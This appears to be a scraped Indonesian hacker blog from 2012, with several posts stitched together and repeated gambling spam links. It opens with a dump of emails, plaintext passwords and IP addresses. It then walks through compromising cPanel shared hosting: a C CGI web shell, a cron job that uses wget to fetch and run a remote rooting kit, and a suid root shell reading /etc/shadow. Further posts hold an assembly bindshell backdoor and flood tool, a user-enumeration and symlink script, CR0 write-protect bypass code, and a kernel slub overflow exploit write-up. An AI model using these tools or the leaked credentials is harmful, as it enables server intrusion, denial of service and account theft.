agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
agatha.purbadita@gmail.com|thata102030|180.246.228.19|Opera/9.80 (Windows NT 5.1; U; Edition Indonesian Local; en) Presto/2.9.168 Version/11.50
thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
agatha.purbadita@gmail.com|mwn102030|180.247.12.182|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
agatha.purbadita@gmail.com|thata102030|180.247.12.182|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
yonohdwik@gmail.com|sonicgear|139.195.15.75|Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
thedayzeo@yahoo.com|tweety|118.97.78.34|Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
===================================

langkah 4. setelah mendapatkan begitu banyaknya akun hosting , attacker tinggal masuk ke masterkey masing2 klien hosting
    seperti kita ketahui bersama di dalam masterkey kita bisa mengakses akun hostingan untuk kemudia mengupload privat exploit.

langkah 5. tanpa memerkukan akses root, attacker akan menyiapkan privat exploit local
untuk melumpuhkan target. untuk menunjang niat social engineering (menggerakkan pihak hosting untuk melakukan hal yang diinginkan attacker)
attacker dengan sengaja memberikan filename: echo.or.id utk elf lsb executable exploit yang dia siapkan untuk melumpuhkan targetnya yang jika dirun:
====
./echo.or.id
====

hanya dalam sepersekian detik setelah exploit yang disiapkan attacker dirun akan mengacaukan kernel scheduler di server target.

langkah 6. attacker melakukan serangan di layer 7 dengan tujuan agar pihak hosting tidak menyangka kalau sebenarnya tiap2 klien di server mereka sudah
dibackdoor oleh attacker.

lalu bagaimana caranya mengeksekusi local exploit pada kondisi server dengan kondisi disable php system command dan cgi??

check this out:

yup kali ini akan kita mainkan salah satu dari permainan rahasia yang paling mudah (teknik ini hanya utk pemula yg baru belajar membypass)
yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya yg bisa dipakai si attacker untuk membypass).

misal pada target terdapat disable function php berikut ini:
disable_functions:    ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam

lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin tapi sayangnya setelah diupload crut:
===
Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@adhdsociety.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
=====

karena masalah path atau krn perl atau python pantang kita exec (permission denied bo)

untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di server itu lalu setelah masuk ke cpanel
liat di bag biasanya ada cron, dari situ kita bisa pakai untuk menjalankan perintah shell:

selanjutnya bikin cron baru, pilih common setting, pilih every minute:

misal perintahnya: id > id.txt

selanjutnya jika berhasil maka kita bisa melihat hasil jalanya perintah di file id.txt tadi yang akan tersimpan di /home/usercpanelyangkitaboboltadi

misal kita liat hasil pocnya seperti di bawah ini:

nah karena teknik di atas akan berjalan sangat lama krn harus menunggu cron permenit kita akan gali lagi lebih dalam.
banyak teknik yang bisa dipakai. misal dg cgi shell dari c :

=====
/**
CGI Shell in C
made by : ev1lut10n
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void kotak_cmd()
{
printf("%s","<br><form action=?");
printf("%s","method=get>");
printf("%s","shell command : <input type=text");
printf("%s"," name=cmd>");
printf("%s","<input type=submit");
printf("%s"," value=execute>");
printf("%s","</form>");
}
static void set_heder()
{
printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10);
}

char *replace(char *st, char *orig, char *repl) {
static char buffer[4096];
char *ch;
if (!(ch = strstr(st, orig)))
   return st;
strncpy(buffer, st, ch-st);
buffer[ch-st] = 0;
sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));
return buffer;
}

int main(void)
{
char *data;
char cmd[100];
char perintah[256]="";
set_heder();
kotak_cmd();
data = getenv("QUERY_STRING");
sscanf(data,"cmd=%s",cmd);
printf("\ncmd: |%s|\n",cmd);
strcat(perintah,cmd);
    printf("\nperintah: |%s|\n",perintah);
    system(perintah);

return 0;
}
=======================

compile: gcc -o cgi cgi.c

untuk rooting bisa menggunakan botnet (yang belum jadi dibuat sih)

==============

utk rooting, misal di cron tadi kita isikan perintah:
============================
wget http://testsite.swcteam.com/libraries/rooting.tgz;tar zxvf rooting.tgz;cd rooting;perl backup.pl
============================

jika berhasil melakukan root maka dalam beberapa menit kemudian file suid di direktori backups menjadi suid root
====
ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ls -l suid
-rwsr-xr-x 1 root ev1lut10n 7292 2012-02-16 05:39 suid
=====

di mana kita bisa mengeksekusi perintah root:
misal:
====
ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ./suid id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout)
===

utk perintah dg lebih dari 1 argumen:
=======
echo 'cat /etc/shadow'> cmd;./suid ./cmd
======

dengan teknik di atas attacker bisa menjalankan perintah pada web hosting dengan cpanel envir0nment seperti idwebhost

"tentu saja inti dari serangan ini bukanlah DDOS tapi penggunaan exploit local dan bagaimana ide untuk mendapatkan sebanyak mungkin
pintu agar bisa mengontrol server selama mungkin"

jasa pembuatan website

2012-02-19T01:39:00.001-08:00

ev1lut10n.asm - a simple game for linux 32 bit

2012-02-18T04:57:00.001-08:00

;ev1lut10n Linux Utility for 32 bit linux
;programmer : ev1lut10n
;int-sec t00l pre-release
;thanks to: petimati,cakill,danzel,p4,x-hack,flyff666, motaro irhaby, fadli and all ;my bro
;nasm -f elf -g -F stabs ev1lut10n.asm -o ev1lut10n.o
;gcc -o ev1lut10n ev1lut10n.o
;website: http://www.jasaplus.com
;gopher: gopher://sdf.org/1/users/wisdomc0
;gopher: gopher://sdf.org/1/users/ev1lut10

global main
%define PF_INET       2
%define AF_INET       PF_INET
%define SOCK_STREAM   1
%define INADDR_ANY   0
%define   PORT       80
extern printf
extern scanf
extern   socket
extern   connect
extern   htons
extern   recv
extern   send
extern   close
extern   inet_aton

section .bss
pilih_on_heap resb 256 ; beware my heap overflow
targetx:        resw 50 ; beware my heap overflow

section .data
data db ".::ev1lut10n Linux Utility for linux x86 version 1.0::.",13,10
pjg_data equ $-data
c0d3r db "programmer : ev1lut10n",13,10
pjg_c0d3r equ $-c0d3r

;main menu
menu1 db "proc - show process",13,10
pjg_menu1 equ $-menu1

menu2 db "bind - bindshell backdoor on port 12345",13,10
pjg_menu2 equ $-menu2

menu3 db "nuke - nuk3 a target",13,10
pjg_menu3 equ $-menu3

;eof main menu

c0ns0l3 db "cmd:"
pjg_c0ns0l3 equ $-c0ns0l3
signed db "selected option:",13,10
pjg_signed equ $-signed
pilih db "%s", 0

;defining datas for gs.asm nuk3r
akhir                db "-------------finished----------",13,10
pjg_akhir         equ $ - akhir
banner               db ".::gantung socket::.",13,10
pjg_banner         equ $ - banner
tunggu               db "..Boom..",13,10
pjg_tunggu         equ $ - tunggu

programmer           db "...:::programmer: ev1lut10n:::... ",13,10
pjg_programmer       equ $ - programmer
fok   db "-------------------------------------",13,10
pjg_fok     equ $ - fok
kon_gagal            db "[-] wtf dude ? failed at connect() ",13,10
warning              db "warning !!! do not use hostname !!! use target ip address instead !!!",13,10
pjg_warning         equ $ - warning

ask_target          db "enter target ip address : ",0
target              db "%s", 0
ask_loop          db "enter target ip address : ",0

fd       dd   0
struc sockaddr_in
   .sin_family   resw   1
   .sin_port   resw   1
   .sin_addr   resd   1
           resb   8
endstruc
struktur istruc   sockaddr_in
;eof gs.asm nuk3r

section .text
main:
jmp _ev1lut10n

_procedure_writeln:
      push ebp
      mov ebp,esp
      mov ebx,0x1
      mov eax,0x4
      int 80h
   ;mov ah,09h
   ;mov dx,offset str1ng
   ;int 21h
       mov esp,ebp
       pop ebp
      ret

_procedure_tampilan_proses:
    push ebp
    mov ebp,esp

    xor eax,eax
    xor ecx,ecx
    xor edx,edx

    push eax
    push 0x73702f2f
    push 0x6e69622f
    mov ebx, esp
    mov eax, 11
    int 80h

    mov esp,ebp
    pop ebp
    ret

;start socket operation without c library
__________ev1lut10n____________________bind12345:
push ebp
mov ebp,esp

push byte 2
pop eax
int 80h

mov esp,ebp
pop ebp

__________ev1lut10n____________________soket:
push ebp
mov ebp,esp

push byte 0x0
push byte 0x1
push byte 0x2

mov eax, 102
mov ebx, 0x1
mov ecx,esp
int 80h

mov edx,    eax

mov esp,ebp
pop ebp

_________ev1lut10n_____________________binder:
push ebp
mov ebp,esp

push    byte 0
push    byte 0
push    byte 0
push    word 0x3930
push    word 2
mov     ebx, esp

push    byte 16
push    ebx
push    edx

mov     eax,102
mov     ebx,2
mov     ecx,esp
int     80h

mov esp,ebp
pop ebp

___________ev1lut10n___________________lisen:
push ebp
mov ebp,esp

push    byte    0x1
push    edx
mov     eax,102
mov     ebx,4
mov     ecx,esp
int     80h

mov esp,ebp
pop ebp

__________ev1lut10n____________________acep:
push ebp
mov ebp,esp

push    byte 0
push    byte 0
push    edx
mov     eax,102
mov     ebx,5
mov     ecx,esp
int     80h

mov     edx, eax

mov esp,ebp
pop ebp

___________ev1lut10n___________________siap_fd:
push ebp
mov ebp,esp

mov     eax,63
mov     ebx,edx
mov     ebx,2
int     80h

mov     eax,63
mov     ebx,edx
mov     ecx,1
int     80h

mov     eax,63
mov     ebx,edx
mov     ecx,0
int     80h

mov esp,ebp
pop ebp

___________ev1lut10n___________________eksekusi:
push ebp
mov ebp,esp

push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 80h

mov esp,ebp
pop ebp

bersih2:
push ebp
mov ebp,esp

push byte 0x06
pop eax
int 80h
jmp keluar

mov esp,ebp
pop ebp
;eof socket operation without c library

;start stack op
pr3p4r3_gs_asm:
   push ebp
        mov ebp,esp
   mov eax,10000
   mov edx,pjg_fok
   mov ecx,fok
   call (_procedure_writeln)


   mov edx,pjg_banner
   mov ecx,banner
   call (_procedure_writeln)

   mov edx,pjg_programmer
   mov ecx,programmer
   call (_procedure_writeln)

   mov edx,pjg_fok
   mov ecx,fok
   call (_procedure_writeln)

   push dword ask_target
   call printf
   push dword targetx
        push dword target
   call scanf



while:
   cmp eax,0
   je finish
   push   dword 0
   push   dword SOCK_STREAM
   push   dword AF_INET
   call   socket
        mov   [fd], eax
        mov   word [struktur+sockaddr_in.sin_family], AF_INET
   push   dword (struktur + sockaddr_in.sin_addr)
   push   dword targetx
   call   inet_aton
   push   word PORT
   call   htons
   mov   word [struktur+sockaddr_in.sin_port], ax
   push   dword sockaddr_in_size
   push   dword struktur
   push   dword [fd]
   call   connect
        mov edx,pjg_tunggu
   mov ecx,tunggu
   call (_procedure_writeln)

        inc eax
        jmp while
finish:
        mov edx,pjg_akhir
   mov ecx,akhir
   call (_procedure_writeln)

        mov esp,ebp
        pop ebp
        ret

_ev1lut10n:
    push ebp
    mov ebp,esp

   mov edx,pjg_data
   mov ecx,data
   call (_procedure_writeln)

   mov edx,pjg_c0d3r
   mov ecx,c0d3r
   call (_procedure_writeln)


   mov edx,pjg_menu1
   mov ecx,menu1
   call (_procedure_writeln)

   mov edx,pjg_menu2
   mov ecx,menu2
   call (_procedure_writeln)

   mov edx,pjg_menu3
   mov ecx,menu3
   call (_procedure_writeln)

   mov edx,pjg_c0ns0l3
   mov ecx,c0ns0l3
   call (_procedure_writeln)
;(gdb) x/s 0x8049268
;0x8049268 <pilih_on_heap>:
mov eax,3
mov ebx,0
mov ecx,pilih_on_heap
int    80h
push eax
mov eax,4
mov ebx,1
mov ecx,signed
mov edx,pjg_signed
int    80h

mov eax,4
mov ebx,1
mov ecx,pilih_on_heap
pop edx
int 80h
xor eax,eax
mov eax, dword [pilih_on_heap]
cmp eax,'proc'
je _procedure_tampilan_proses
cmp eax,'nuke'
je pr3p4r3_gs_asm
cmp eax,'bind'
je __________ev1lut10n____________________bind12345

jmp short keluar
    mov esp,ebp
    pop ebp

keluar:
nop
mov     eax,0x01
int     80h
nop

http://ffbmania.com

http://ourbetting.com

http://royalbet77.com

http://zonabets.com
http://ffbmania.com

http://ourbetting.com

http://royalbet77.com

http://zonabets.com
http://ffbmania.com

http://ourbetting.com

http://zonehmirrors.net/defaced/2012/01/15/wheelsmotorcycles.co.uk/css/taruhan_bola.html

http://pasangbet.com

http://ffbmania.com

http://ourbetting.com

http://royalbet77.com

http://zonabets.com

http://ferrymulyanaditangkap.blogspot.com/

http://agen-bola77.blogspot.com/

http://royalbet77.blogspot.com/

agenbolasbobet

http://pasangtaruhan.com
http://bursagen.com

http://ffbmania.com

http://ourbetting.com

http://royalbet77.com

http://zonabets.com

http://ferrymulyanaditangkap.blogspot.com/

http://agen-bola77.blogspot.com/

http://royalbet77.blogspot.com/

http://pasangtaruhan.com
http://bursagen.com

http://ffbmania.com

http://ourbetting.com

http://royalbet77.com

http://zonabets.com

agenbolasbobet

2012 botnet development continue

2012-02-16T14:34:00.000-08:00

some valentine guitar creation by ev1lut10n

2012-02-16T14:31:00.000-08:00

my valentine in guitar

close to you in guitar

seekuser.py

2012-02-16T11:33:00.000-08:00

this is blogspot you gotta repair the indent by yourself

#!/usr/bin/python 
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
    print "Usage: ./seekuser.py passwd_file targetdomain.com"
    print "Ex: ./seekuser.py /etc/passwd hackers.com"
    sys.exit(1)
else:
    passwd_file = sys.argv[1] 
    domain_target=sys.argv[2]
try:
  fd = open(passwd_file)
except:
  print "Sorry failed to open "+passwd_file
  sys.exit(1)
content = fd.readline()
while (content != ""):
      content.replace( "\n", "" )
      content = fd.readline()
      content=content.strip()
      arkon=content.split(':')
      user=arkon[0]
      if user != "" :
            print "testing "+user+" on:"+ domain_target
     url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user
     response=urllib.urlopen(url)
            res = response.read()
     if salah not in res:
            
         print "[+] W00t found : " + user + " for domain : "+domain_target 
  os.system ("echo "+user+" > username_of_"+domain_target)
  print "creating symlink for /home/"+user+"/public_html/index.php" 
  print "on success you can read the source code on: index_of_"+domain_target+".txt"
  os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt")
         fd.close
  sys.exit(1)

bypass disable php function, disable cgi python, cgi perl

2012-02-15T15:42:00.000-08:00

bypass disable function, disable cgi python, cgi perl di target dg cgi bin

by: ev1lut10n

yup kali ini akan kita mainkan salah satu dari permainan rahasia yang paling mudah (teknik ini hanya utk pemula yg baru belajar membypass)
yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya yg bisa dipakai si attacker untuk membypass).

misal pada target terdapat disable function php berikut ini:
disable_functions: ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam

lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin tapi sayangnya setelah diupload crut:
===
Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@adhdsociety.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
=====

karena masalah path atau krn perl atau python pantang kita exec (permission denied bo)

untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di server itu lalu setelah masuk ke cpanel
liat di bag biasanya ada cron, dari situ kita bisa pakai untuk menjalankan perintah shell:

modifikasi WP bit pada register cr0 di mesin x86

2012-02-13T09:37:00.001-08:00

modifikasi WP bit pada register cr0 di mesin x86
by: ev1lut10n

"there's a sleeping monster when he got his old skills he's a real monster"

Setelah sekian lama bermasalah akhirnya baru bisa online hari ini. oleh karena itu akan kita mulai kembali permainan kita
yang tertunda tentang wp bit pada register cr0.

cr0 merupakan register kontrol pada x86. WP bit pada cr0 akan menentukan apakah kita bisa melakukan write pada pages
yang bertanda read only atau tidak, untuk bisa melakukan write kita harus mengeset wp bit pada cr0.

Untuk mengetahui wp bit pada register cr0 bisa menggunakan read_cr0 di sini kita bisa melihat penggunaan PVOP_CALL0 pada read_cr0
/usr/include/asm/paravirt.h:
==========
static inline unsigned long read_cr0(void)
{
   return PVOP_CALL0(unsigned long, pv_cpu_ops.read_cr0);
}
=========

sedangkan untuk mengeset bit cr0 menjadi unprotected bisa dengan write_cr0
=============
static inline void write_cr0(unsigned long x)
{
   PVOP_VCALL1(pv_cpu_ops.write_cr0, x);
}
================

berikut ini contoh penggunaan read_cr0

read_cr0.c
===================
/**read_cr0 test by ev1lut10n**/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/errno.h>
#include <linux/mm.h>
#include <asm/unistd.h>
int readcr0test()
{
unsigned long cr0;
cr0 = read_cr0();
printk("\n%lu",cr0);
return 0;
}

int init_module (void)
{
readcr0test();
return 0;
}

void cleanup_module (void)
{
return 0;
}
================================

Makefile
=======
obj-m += read_cr0.o

all:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
==========

berikut ini adalah potongan kode asm yang digunakan untuk memodifikasi wp bit pada register cr0 yang akan kita jalankan di kernel space

=============================
__asm__ ("push %eax\n\t"
    "mov %cr0,%eax\n\t"
    "and $0x0FFFEFFFF,%eax\n\t"
    "mov %eax, %cr0\n\t"
    "pop %eax");
============

here we go:
modify_cr0.c:
============
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/module.h>
static int ev1ls_cr0()
{
//ev1l's bypass cr0 trick();
asm volatile("push %eax\n\t"
    "mov %cr0,%eax\n\t"
    "and $0x0FFFEFFFF,%eax\n\t"
    "mov %eax, %cr0\n\t"
    "pop %eax");
return 0;
}

void readcr0test()
{
unsigned long cr0;
cr0 = read_cr0();
printk("\n%lu",cr0);
printk("\n%X",cr0);
}

int init_module (void)
{
readcr0test();
ev1ls_cr0();
readcr0test();
return 0;
}

void cleanup_module (void)
{
return 0;
}
============

Makefile:
=======
obj-m += modify_cr0.o

all:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
   make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

=============

well some kernel space buggy

2012-02-13T09:16:00.000-08:00

as always as usual.doing my job as sysadmin

2012-02-10T09:01:00.001-08:00

auto backup all /home/$user/public_html to /root/backup_home

2012-02-10T04:21:00.001-08:00

yep another perl to make easy my job as sysadmin.

===========
#!/usr/bin/perl
#AutoBackup all /home/$user/public_html to /root/backup_home
#by: ev1lut10n - the sysadmin
#special thanks to : Merikenin

use POSIX;

sub utama()
{
eval
{
$uid=getuid();
if($uid ne "0")
{
print "[-] Sorry you gotta be root to run this tool !!!\n";
}
else
{
system("mkdir /root/backup_home");
viewhome();

}
}
}
sub viewhome
{
eval
{
open(PROSES_CACING, "ls /home |");
while (<PROSES_CACING>)
{
     $tampilan = $_;
     $tampilan =~ s/^\s+//;
     $tampilan =~ s/\s+$//;
$cmd="cd /home/$tampilan/;tar czvf $tampilan.tgz public_html;mv $tampilan.tgz /root/backup_home";
     system($cmd);
}
close(PROSES_CACING);
print "\n[+] Backup done !!! please check /root/backup_home !\n";
}
}



sub str_replace {
eval
{
my $replace_this = shift;
    my $with_this = shift;
    my $string   = shift;

    my $length = length($string);
    my $target = length($replace_this);

    for(my $i=0; $i<$length - $target + 1; $i++) {
        if(substr($string,$i,$target) eq $replace_this) {
            $string = substr($string,0,$i) . $with_this . substr($string,$i+$target);
            return $string; #Comment this if you what a global replace
        }
    }
    return $string;
}
}

utama();

=========

my old book is back

2012-02-09T12:34:00.000-08:00

after moving from bogor- bandung-jakarta-tangerang-jakarta-bandung i lost my book, and now my book is back to my hand

Linux Kernel Slub Overflow

2012-02-08T12:39:00.000-08:00

source: www.cloud-sec.org
                                      Exploit linux kernel slub overflow

I. Introduction

   Kernel exploit more popular in recent years, the common core to mention the right of vulnerability can be divided into several categories: the null pointer reference, the kernel stack overflow, kernel slab overflow, kernel any address writable.
A null pointer dereference vulnerability easier to exploit, the typical example sock_sendpage, udp_sendmsg. But the new kernel security module no longer allow userspace the code map low memory
NULL pointer dereference once only dos, not to mention the right. CVE-2010-4258 kernel any address writable vulnerability can be a null pointer dereference
dos conversion to mention the right. The kernel stack overflow stack overflow relative userspace under better the exploit. Here the most difficult to exploit the kernel slab overflow. Slab of overflow in 2005, UNF
qobaiashi written paper to illustrate the slab exploit. Since then overflow study on the slab in the focus on the 2.4 kernel under 2.6 of the slab overflows have not seen the paper shared out.
Time in the kernel 2.6.22, the kernel in order to improve the performance of the slab, the introduction of the slub the design. For the slub overflow the paper has not been shared until Jon Oberheide released a CAN protocol
the slub overflow exploit, this is the first public use of slab overflow exploit in 2.6kernel ubuntu-10.04 2.6.32 kernel running. Jon Oberheide
The exploit due to the use of some of the advantages of the CAN code does not overflow the essence of the slub reflected in his blog article on the analysis of the slub overflow paper. In-depth study of the exploit
On the basis of, plus I debug the experience of the 2.4 kernel slab overflow, look slub overflow centos 5.2 + 2.6.32 environment, the test is successful.

Second, the sample code:

   In order to facilitate debugging, I wrote an LKM module, a new system calls to the kernel api interface, users can call.

# Define BUFFER_SIZE 80

asmlinkage long kmalloc_overflow_test (char * addr, int size)
{
        char * buff = NULL;

        buff = kmalloc (BUFFER_SIZE, GFP_KERNEL);
        if (! buff) {
                printk ("kmalloc failed \ n");
                return -1;
        }
        printk ("[+] Got the object at 0x% p \ n", buff);

        if (copy_from_user (buff addr, size)) {
printk ("copy_from_user failed \ n");
                kfree (buff);
return -1;
        }
printk ("% s \ n", buff);

        return 0;
}
This code use kmalloc allocated 80 bytes of space, but did not check the size the size of the user to pass a value greater than the size value of 80 will have a kernel heap overflow.

Third, the SLUB structure

   the slub greatly simplifies the data structure of the slab kmem_cache the three queues on the slab removed completely full queue. The beginning of each slab slab management structure and management of empty obj
kmem_bufctl_t array. A slab slub management structure is as follows:

   A slab of the structure:

   + ------------------------------------------- +
   | Obj | obj | obj | ... | obj |
   + ------------------------------------------- +

   According to the above code fragment, after the overflow of an obj dirty data directly over the rear adjacent obj:

   | First | second |
   + ------------------------------------------- +
   | Obj | obj | obj | ... | obj |
   + ------------------------------------------- +
   | ----- The overflow ---> |

   When the kernel code to access the data structure in the overflow of obj, it will have the oops.

Fourth, the the SLUB overflow method

   Kernel to mention the right to the ultimate purpose is to trigger a kernel bug, and then control the path to the kernel to userspace prior arrangement good shellcode. Therefore, our general direction in the second obj
If there is a function pointer can be dirty data coverage userspace shellcode, and the user can call this function pointer, you will complete an elevated task. There is also a problem to be dealt with
Is how to guarantee that a bug in the code using kmalloc allocation obj and we want to overwrite a function pointer where obj is adjacent. Because only the two adjacent, in order to use the overflow data overwrite the function pointer.

Let us assume that a data structure has been found in the kernel, just to meet the above requirements, as long as two obj is adjacent, you can complete the pointer cover. We know that a feature of the slab is
When a cache slab structure obj run out, the kernel will reallocate the slab, the new distribution slab obj to each other are adjacent:
Kmalloc () -> __kmalloc () -> __do_kmalloc () -> __cache_alloc () -> ____cache_alloc () -> cache_alloc_refill
() -> Cache_grow () -> cache_init_objs ()

static void cache_init_objs (struct kmem_cache * cachep,
struct slab * slabp, unsigned long ctor_flags)
{
for (i = 0; i <cachep-> num; i + +) {
void * objp = index_to_obj (cachep, slabp, i);
slab_bufctl (slabp) [i] = i + 1;
}
slab_bufctl (slabp) [i - 1] = BUFCTL_END;
slabp-> free = 0;
}
Mentioned in front of the structure of the slab in a kmem_bufctl_t array, obj index point of each element inside an idle. Initialize a new slab, each kmem_bufctl_t
Elements in order of points adjacent to it next obj, so when the kernel re-allocation of a slab structure, allocated from the new slab obj are adjacent.

SLUB is not also meet this feature? Carefully read the slub the code and found that it also satisfy this feature:
kmalloc () -> slab_alloc () -> __slab_alloc () -> new_slab ():
static struct page * new_slab (struct kmem_cache * s, gfp_t flags, int node)
{
        last = start;
        for_each_object (p, s, start, page-> objects) {
                setup_object (s, page, last);
                set_freepointer (s, last, p);
                last = p;
        }
        setup_object (s, page, last);
        set_freepointer (s, last, NULL);
}
# Define for_each_object (__p, __ s, __ addr, __ objects) \
        for (__p = (__addr); __ p <(__addr) + (__objects) * (__s) -> size; \
                        __p + = (__s) -> size)
All obj this code to traverse a page is initialized:
static inline void set_freepointer (struct kmem_cache * s, void * object, void * fp)
{
        * (Void **) (object + s-> offset) = fp;
}
s-> offset is saved is a slab in the next idle obj offset set_freepointer function will be an obj an idle pointer to the next one obj. So the slub also meet this characteristic.

Now we are in user space to find a way to continue to consume the slab run out of the existing slab, the slab of the newly allocated obj is continuous adjacent. How to consume slabs
We can still use the shmget system call, and it used the struct shmid_kernel structure, it is we want to overwrite a function pointer!

ipc / shm.c:
sys_shmget-> ipcget-> ipcget_new-> newseg:
static int newseg (struct ipc_namespace * ns, struct ipc_params * params)
{
        struct shmid_kernel * shp;

        shp = ipc_rcu_alloc (sizeof (* shp));
shp-> shm_file = file;
}
void * ipc_rcu_alloc (int size)
{
out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);
}

Therefore continue to call shmget in user space in the kernel constant drain on the slab size of 96. The example code assigned is 80 bytes, it will be allocated in the 96-sized slab,
It should be noted:
out = kmalloc (HDRLEN_KMALLOC + size, GFP_KERNEL);
Space station, has an 8 byte with shmget allocation obj preceding Therefore with the shmget assigned shmid_kernel structure will be as follows:

   | ------ 96 ---------- ---------- | --------------- 96 ----- ------- |
   + ------------------------------------------------- -------------- +
   | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
   + ------------------------------------------------- -------------- +

Later covered skip the HDRLEN_KMALLOC bytes.

Information on the slab in the kernel, you can get in / proc / slabinfo:
[Wzt @ localhost exp] $ cat / proc / slabinfo | grep kmalloc-96
kmalloc-96 922 924 96 42 1: tunables 0 0 0: slabdata 22 22 0
922 current active obj number of 924 is obj the number of all slab, so we can parse this file in the user space remaining in the current system obj number:
int check_slab (char * slab_name, int * active, int * total)
{
        FILE * fp;
        a char buff [1024], name [64];
        int active_num, total_num;

        fp = fopen ("/ proc / slabinfo", "r");
        if (! fp) {
                given by the perror ("fopen");
                return -1;
        }

        while (fgets (buff, 1024, fp)! = NULL) {
                sscanf (buff, "% s% u% u", name, & active_num, & total_num);
                if (! strcmp (slab_name, name)) {
                        * Active = active_num;
                        * Total = total_num;
                        return total_num - active_num;
                }
        }

        return -1;
}
Now write a code to call shmget, take a look at the new distribution of obj is not continuous, in order to facilitate the debugging, I modified the code of sys_shmget
Added a printk to print the address after the kmalloc. trigger the code fragment as follows:
trigger.c:
...
        shmids = malloc (sizeof (int) * (free_num + SLAB_NUM * 3));

        fprintf (stdout, "[+] smashing free in the slab ... \ n");
        for (i = 0; i <free_num + SLAB_NUM; i + +) {
